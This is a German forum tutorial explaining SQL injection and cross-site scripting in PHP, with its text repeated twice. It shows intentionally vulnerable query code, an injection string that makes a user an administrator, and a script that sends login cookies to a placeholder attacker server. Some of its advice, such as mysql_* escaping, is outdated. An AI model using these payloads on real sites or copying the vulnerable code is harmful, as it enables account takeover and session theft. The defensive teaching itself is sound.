Dieses Thema soll dazu dienen, euch einen Einblick zu geben, welche Sicherheitsrisiken im Zusammenhang mit der Programmiersprache PHP drohen und wie sie zu umgehen sind.
Das wichtigste zuerst: ALLE von außen kommenden Daten sind BÖSE! Wer noch nicht so denkt, sollte damit am besten jetzt noch anfangen. ALLES, was die Software von außen annimmt, kann manipuliert sein und damit ein Sicherheitsrisiko sein!
Es ist dabei vollkommen unerheblich, wo die Quelle der Daten ist. Die können in in der Adresszeile sein ($_REQUEST), in Formularfeldern, die mit POST übermittelt werden ($_POST), in einer Mischung daraus ($_GET), in Cookies ($_COOKIE) und sogar in Server-Informationen ($_SERVER). In letzterem könnte beispielsweise die Browserkennung stehen, die, sofern sie irgendwo in der Datenbank landen, ebenfalls gefährlich sein können!
SQL-Injections
Was ist eine SQL-Injection? Eine SQL-Injection ist eine manipulierte SQL-Abfrage. Um sie korrekt auszunutzen, ist es notwendig, dass der Angreifer die Software kennt.
Wie funktioniert das?
Stellen wir uns vor, in einer Software gibt es mehrere Styles und der Benutzer sucht sich über die Adresszeile einen anderen Style aus, beispielsweise mit index.php?style=5.
Der PHP-Code in der Anwendung sieht wie folgt aus:
Diese Abfrage funktioniert. Es ist also per Definition kein Bug in der Software vorhanden. Aber eine Sicherheitslücke.
Wie ließe diese sich ausnutzen?
Nehmen wir an, es gibt noch die Spalte "groupid", die die Benutzergruppe des aktuellen Benutzers definiert und die ID 1 wären alle Administratoren.
Der Angreifer könnte nun die Sicherheitslücke wie folgt ausnutzen - er gibt einfach in die Adresszeile ein:
index.php?style=5',group='1
Was wird dann aus der SQL-Abfrage? In dieser werden brav die die Variablen ersetzt und es kommt dabei heraus:
Und wo ist da jetzt die Gefahr? Es wird nicht nur der Style, sondern auch die Benutzergruppe des eingeloggten Benutzers gewechselt. Der Benutzer ist also Administrator, ohne dass er irgendein Passwort (außer sein eigenes) kannte!
Wie hätte das vermieden werden können?
Wie eingangs erwähnt, sind ALLE eingegebenen Daten böse. Daher müssen alle Daten, die ein Benutzer eingeben können wollte, überprüft und gefiltert werden.
Wie geht das?
PHP hat dafür einige Funktionen. In dem Beispiel hätte man $_GET['style'] mit der Funktion intval() filtern müssen. Diese Funktion sucht die erste Zahl, die in einem String vorkommt, heraus und gibt diese zurück. Ist keine Zahl enthalten, gibt die Funktion 0 zurück - also in jedem Fall eine ganze Zahl, mit der ein Anfreifer nichts anfangen kann.
Der PHP-Code sähe dann so aus und wäre sicher:
Bei dem gleichen Aufruf würde nur noch eine 5 übergeben werden und entsprechend nur der Style geändert.
Nun gibt es aber auch andere Daten, beispielsweise Text. Wie siehts bei dem aus?
Bei Text existiert natürlich dieselbe Gefahr - auch hier können Abfragen manipuliert werden. Und auch dafür gibt es in PHP eine Funktion. Diese heißt addslashes() und ersetzt jedes ' und " im eingegebenen Text durch \' bzw. \". Damit wäre prinzipiell das Problem gelöst, weil ' bzw. " nicht mehr als Ende des Strings angesehen werden... Gäbe es kein Unicode. Aufgrund dieses Missstandes sollte statt addslashes() lieber mysql_real_escape_string() bzw. mysqli_real_escape_string() (für MySQLi) verwendet werden (Vgl.).
Wie bekomme ich raus, ob eine Variable korrekt gefiltert wird?
Einfach in eine Eingabemöglichkeit ' und " eingeben (nur einmal!). Wenn ein SQL-Fehler kommt, dann deutet das i.d.R. darauf hin, dass eine Variable NICHT korrekt gefiltert wird!
Cross Site Scripting (XSS)
XSS ist die andere Seite der Medaille. Hier liegt der Angriffspunkt nicht in den eingehenden Daten, sondern in den ausgegebenen Daten.
Wie läuft das ab?
Es gibt beispielsweise ein Eingabefeld - beispielsweise für die Lieblingsfarbe des Benutzers. In dieses Feld schreibt der Angreifer jedoch nicht "rot" oder "blau" rein, sondern beispielsweise:
Wir gehen davon aus, dass die Eingabe korrekt gefiltert ist (s.o.), die Ausgabe hingegen gar nicht.
Möchte sich der Admin nun ansehen, was der Benutzer bei der Frage nach seiner Lieblingsfarbe geantwortet hat, erscheint jedoch nicht der Text, sondern eine Dialogbox mit "Hallo
". Das ist zwar zu diesem Zeitpunkt noch nicht schlimm, sondern allenfalls nervig, aber ein Angriff ist, wenn so etwas möglich ist, nicht mehr zu weit entfernt.
Nehmen wir an, es gibt ein Login-Cookie, der ermöglicht, dass ein Benutzer (oder Administrator) immer automatisch eingeloggt ist, sobald er seine Seite betritt. Dann wäre für den Angreifer eben jener Cookie ziemlich interessant, denn so könnte er an den Passwort-Hash gelangen und mit Bruteforce das Passwort herausfinden - oder sich einfach ein Cookie basteln und ist eingeloggt, bis der echte Administrator sein Passwort ändert.
Hierfür bietet JavaScript auch eine Funktion an: document.cookie. Nun ist so eine Dialogbox noch immer relativ harmlos - aber wenn das geht, gehts auch noch schlimmer. Denkbar wäre, dass der Angreifer auf seinem eigenen Server ein Script installiert, das über die Adresszeile Daten sammeln kann (mit $_GET). Tarnt er sein Script, indem er so tut als wäre es ein Bild, ist der Drops schon gelutscht.
Webbrowser haben die Eigenschaft, eine Datei, selbst wenn sie kein Bild ist, auszuführen - in der Hoffnung, dass vielleicht irgendwann ein Bild überliefert wird. Genau das wird dem Admin das Genick brechen: Der Angreifer hat den kompletten Inhalt des Login-Cookies.
Wie kann ich mich davor schützen?
Bevor Daten, die ein Benutzer irgendwann mal eingegeben hat, ausgegeben werden, sollten sie unbedingt HTML-Verträglich gemacht werden, damit sie im Browser als Text und nicht als HTML-Befehl ankommen. Hierzu bietet sich der Befehl htmlentities() an. Dieser ersetzt alle im String vorkommenden Zeichen durch ihre HTML-Umschriften. Somit werden die spitzen Klammern, die sonst HTML-Befehle einleiten und beenden, zu < und > und damit unschädlich. Im Browser werden sie dennoch korrekt dargestellt.
Das wichtigste zuerst: ALLE von außen kommenden Daten sind BÖSE! Wer noch nicht so denkt, sollte damit am besten jetzt noch anfangen. ALLES, was die Software von außen annimmt, kann manipuliert sein und damit ein Sicherheitsrisiko sein!
Es ist dabei vollkommen unerheblich, wo die Quelle der Daten ist. Die können in in der Adresszeile sein ($_REQUEST), in Formularfeldern, die mit POST übermittelt werden ($_POST), in einer Mischung daraus ($_GET), in Cookies ($_COOKIE) und sogar in Server-Informationen ($_SERVER). In letzterem könnte beispielsweise die Browserkennung stehen, die, sofern sie irgendwo in der Datenbank landen, ebenfalls gefährlich sein können!
SQL-Injections
Was ist eine SQL-Injection? Eine SQL-Injection ist eine manipulierte SQL-Abfrage. Um sie korrekt auszunutzen, ist es notwendig, dass der Angreifer die Software kennt.
Wie funktioniert das?
Stellen wir uns vor, in einer Software gibt es mehrere Styles und der Benutzer sucht sich über die Adresszeile einen anderen Style aus, beispielsweise mit index.php?style=5.
Der PHP-Code in der Anwendung sieht wie folgt aus:
PHP:
/* ... */
$sql = "UPDATE software_users SET styleid = '".$_GET['style']."' WHERE userid = '".$user['userid']."';";
mysql_query($sql);
/* ... */
Diese Abfrage funktioniert. Es ist also per Definition kein Bug in der Software vorhanden. Aber eine Sicherheitslücke.
Wie ließe diese sich ausnutzen?
Nehmen wir an, es gibt noch die Spalte "groupid", die die Benutzergruppe des aktuellen Benutzers definiert und die ID 1 wären alle Administratoren.
Der Angreifer könnte nun die Sicherheitslücke wie folgt ausnutzen - er gibt einfach in die Adresszeile ein:
index.php?style=5',group='1
Was wird dann aus der SQL-Abfrage? In dieser werden brav die die Variablen ersetzt und es kommt dabei heraus:
Code:
UPDATE software_users SET styleid = '5',group='1' WHERE userid = '12345';
Wie hätte das vermieden werden können?
Wie eingangs erwähnt, sind ALLE eingegebenen Daten böse. Daher müssen alle Daten, die ein Benutzer eingeben können wollte, überprüft und gefiltert werden.
Wie geht das?
PHP hat dafür einige Funktionen. In dem Beispiel hätte man $_GET['style'] mit der Funktion intval() filtern müssen. Diese Funktion sucht die erste Zahl, die in einem String vorkommt, heraus und gibt diese zurück. Ist keine Zahl enthalten, gibt die Funktion 0 zurück - also in jedem Fall eine ganze Zahl, mit der ein Anfreifer nichts anfangen kann.
Der PHP-Code sähe dann so aus und wäre sicher:
PHP:
/* ... */
$sql = "UPDATE software_users SET styleid = '".intval($_GET['style'])."' WHERE userid = '".$user['userid']."';";
mysql_query($sql);
/* ... */
Nun gibt es aber auch andere Daten, beispielsweise Text. Wie siehts bei dem aus?
Bei Text existiert natürlich dieselbe Gefahr - auch hier können Abfragen manipuliert werden. Und auch dafür gibt es in PHP eine Funktion. Diese heißt addslashes() und ersetzt jedes ' und " im eingegebenen Text durch \' bzw. \". Damit wäre prinzipiell das Problem gelöst, weil ' bzw. " nicht mehr als Ende des Strings angesehen werden... Gäbe es kein Unicode. Aufgrund dieses Missstandes sollte statt addslashes() lieber mysql_real_escape_string() bzw. mysqli_real_escape_string() (für MySQLi) verwendet werden (Vgl.).
Wie bekomme ich raus, ob eine Variable korrekt gefiltert wird?
Einfach in eine Eingabemöglichkeit ' und " eingeben (nur einmal!). Wenn ein SQL-Fehler kommt, dann deutet das i.d.R. darauf hin, dass eine Variable NICHT korrekt gefiltert wird!
Cross Site Scripting (XSS)
XSS ist die andere Seite der Medaille. Hier liegt der Angriffspunkt nicht in den eingehenden Daten, sondern in den ausgegebenen Daten.
Wie läuft das ab?
Es gibt beispielsweise ein Eingabefeld - beispielsweise für die Lieblingsfarbe des Benutzers. In dieses Feld schreibt der Angreifer jedoch nicht "rot" oder "blau" rein, sondern beispielsweise:
Code:
<script language="JavaScript">alert("Hallo! :P");</script>
Möchte sich der Admin nun ansehen, was der Benutzer bei der Frage nach seiner Lieblingsfarbe geantwortet hat, erscheint jedoch nicht der Text, sondern eine Dialogbox mit "Hallo
Nehmen wir an, es gibt ein Login-Cookie, der ermöglicht, dass ein Benutzer (oder Administrator) immer automatisch eingeloggt ist, sobald er seine Seite betritt. Dann wäre für den Angreifer eben jener Cookie ziemlich interessant, denn so könnte er an den Passwort-Hash gelangen und mit Bruteforce das Passwort herausfinden - oder sich einfach ein Cookie basteln und ist eingeloggt, bis der echte Administrator sein Passwort ändert.
Hierfür bietet JavaScript auch eine Funktion an: document.cookie. Nun ist so eine Dialogbox noch immer relativ harmlos - aber wenn das geht, gehts auch noch schlimmer. Denkbar wäre, dass der Angreifer auf seinem eigenen Server ein Script installiert, das über die Adresszeile Daten sammeln kann (mit $_GET). Tarnt er sein Script, indem er so tut als wäre es ein Bild, ist der Drops schon gelutscht.
Code:
<script language="JavaScript">document.write('[img]angreifer-server/boeses-bild.php?daten=[/img]');
Wie kann ich mich davor schützen?
Bevor Daten, die ein Benutzer irgendwann mal eingegeben hat, ausgegeben werden, sollten sie unbedingt HTML-Verträglich gemacht werden, damit sie im Browser als Text und nicht als HTML-Befehl ankommen. Hierzu bietet sich der Befehl htmlentities() an. Dieser ersetzt alle im String vorkommenden Zeichen durch ihre HTML-Umschriften. Somit werden die spitzen Klammern, die sonst HTML-Befehle einleiten und beenden, zu < und > und damit unschädlich. Im Browser werden sie dennoch korrekt dargestellt.